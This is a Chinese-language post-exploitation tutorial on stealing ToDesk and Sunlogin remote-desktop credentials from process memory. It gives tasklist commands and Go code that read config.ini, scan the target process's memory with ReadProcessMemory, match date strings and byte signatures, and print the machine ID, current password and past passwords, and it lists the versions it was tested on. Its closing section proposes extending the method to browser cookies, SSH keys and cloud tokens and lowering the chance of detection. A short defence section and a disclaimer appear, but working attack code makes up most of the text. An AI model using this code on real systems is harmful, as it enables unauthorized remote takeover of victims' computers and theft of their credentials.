应用内存中的后渗透利用-远程工具密码读取
字数 1173 2025-08-23 18:31:09
应用内存中的后渗透利用:远程工具密码读取技术详解
一、技术背景
随着ToDesk和向日葵等远程控制软件的安全升级,传统的配置文件密码获取方法(如直接读取config.ini)和常规的替换手法已经失效。新版本软件采用了更安全的密码存储机制,但密码在内存中仍然存在可被提取的可能性。
二、技术原理概述
本技术通过在目标进程的内存中搜索特定特征字符串或模式,来提取远程控制软件的连接凭据(包括ID、临时密码、安全密码等)。主要分为以下几个步骤:
- 定位目标进程
- 获取进程可执行文件路径和配置文件信息
- 内存转储与分析
- 特征字符串搜索与提取
- 凭据验证与输出
三、详细实现步骤
1. 目标进程定位
使用系统命令获取目标进程的PID:
tasklist | find /i "todesk"
或
tasklist | find /i "sunlogin"
2. 获取进程信息
ToDesk特定实现
// 获取可执行文件路径
execPath, err := getExecutablePath(int(*pid))
if err != nil {
fmt.Printf("无法获取PID %d的可执行文件路径: %v\n", *pid, err)
return
}
// 获取配置文件信息
dir := filepath.Dir(execPath)
configPath := filepath.Join(dir, "config.ini")
// 读取config.ini中的关键字段
clientId, version, loginPhone, authMode, err := readConfig(configPath)
if err != nil {
fmt.Println("无法读取config.ini文件:", err)
return
}
3. 内存分析与密码提取
ToDesk密码提取技术
特征搜索方法:
- 获取当天日期作为搜索字符串
- 在内存中搜索该字符串
- 提取匹配位置前1KB的内存内容
- 遍历提取内容中的所有字符串
if mbi.State == MEM_C && mbi.Protect == PAGE_R && mbi.Type == MEM_P {
buffer := make([]byte, mbi.RegionSize)
var bytesRead uintptr
readP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])),
mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))
index := bytes.Index(buffer, searchBytes)
if index != -1 {
start := index - 1024
if start < 0 { start = 0 }
data := buffer[start : index+len(searchBytes)]
foundStrings := extractStrings(data)
}
}
认证模式判断:
if authMode == "0" {
fmt.Println("\n目标仅使用临时密码登陆")
fmt.Println("临时密码:", data[0])
} else if authMode == "1" {
fmt.Println("\n目标仅使用安全密码登陆")
fmt.Println("临时密码: ", data[0])
fmt.Println("安全密码: ", data[1])
} else {
fmt.Println("\n临时密码和安全密码都可以使用")
fmt.Println("临时密码: ", data[0])
fmt.Println("安全密码: ", data[1])
}
向日葵密码提取技术
特征识别:
- 查找特定格式字符串:
<f f=yahei.28 c=color_edit>xxxxxx</f> - 临时密码:6位数字
- 自定义密码:6-8位字符
- ID:13位字符
searchBytes := []byte{
0x3C, 0x66, 0x20, 0x66, 0x3D, 0x79, 0x61, 0x68, 0x65, 0x69,
0x2E, 0x32, 0x38, 0x20, 0x63, 0x3D, 0x63, 0x6F, 0x6C, 0x6F,
0x72, 0x5F, 0x65, 0x64, 0x69, 0x74, 0x20, 0x3E,
}
endTag := []byte{0x3C, 0x2F, 0x66, 0x3E}
密码提取逻辑:
- 由于临时密码会在每次连接后自动更新,内存中可能存在多个历史密码
- 提取内存地址最后的密码作为当前密码(非100%准确)
- 记录所有找到的密码作为历史密码备选
if bytes.Equal(buffer[endOfString:endOfString+len(endTag)], endTag) {
// 13位字符串且不包含'<'视为ID
if length == 13 && !bytes.Contains(extractedString, []byte("<")) {
id = string(extractedString)
}
// 6-8位字符串视为密码
if length >= 6 && length <= 8 {
if _, exists := allPasswordsMap[string(extractedString)]; !exists {
allPasswordsMap[string(extractedString)] = true
}
if mbi.BaseA + uintptr(index) > lastPasswordAddress {
lastPassword = string(extractedString)
lastPasswordAddress = mbi.BaseA + uintptr(index)
}
}
}
4. 结果输出
向日葵输出示例:
if id != "" {
fmt.Printf("识别码: %s\n", id)
}
if lastPassword != "" {
fmt.Printf("密码: %s \n", lastPassword)
}
if len(allPasswordsMap) > 0 {
fmt.Println("\n历史密码:")
for pwd := range allPasswordsMap {
fmt.Println(pwd)
}
}
fmt.Println("\n密码如果不对就从历史密码里尝试...")
四、技术适用范围
已验证版本:
- ToDesk v4.7.4.3
- 向日葵 15.6.8
理论上可应用于其他具有类似内存存储机制的软件,包括但不限于:
- 远程控制软件
- 密码管理器
- 浏览器保存的凭据
- 数据库连接工具
- VPN客户端
五、防御与检测
攻击特征:
- 进程内存读取操作
- 特定进程的枚举和定位
- 大范围内存搜索行为
防御措施:
- 启用完整的内存保护机制
- 监控敏感进程的内存访问
- 使用凭据保护功能(如Windows的Credential Guard)
- 定期轮换密码
六、法律与道德声明
重要免责声明:
本技术文档仅供安全研究与学习之用,禁止用于任何非法活动。如用于其他用途,由使用者承担全部法律及连带责任。任何未经授权的系统访问都是违法行为。
七、扩展思考
-
其他高价值凭据目标:
- 浏览器cookie和session数据
- SSH密钥和证书
- 云服务CLI工具的认证令牌
- 邮件客户端的SMTP/IMAP密码
-
技术改进方向:
- 更精确的内存特征识别
- 绕过内存保护机制的技巧
- 降低检测率的搜索算法
- 自动化凭据验证流程
八、参考资源
项目地址:https://github.com/milu001/sundeskQ
相关技术:
- 进程内存分析
- Windows API调用
- 二进制模式匹配
- 字符串提取算法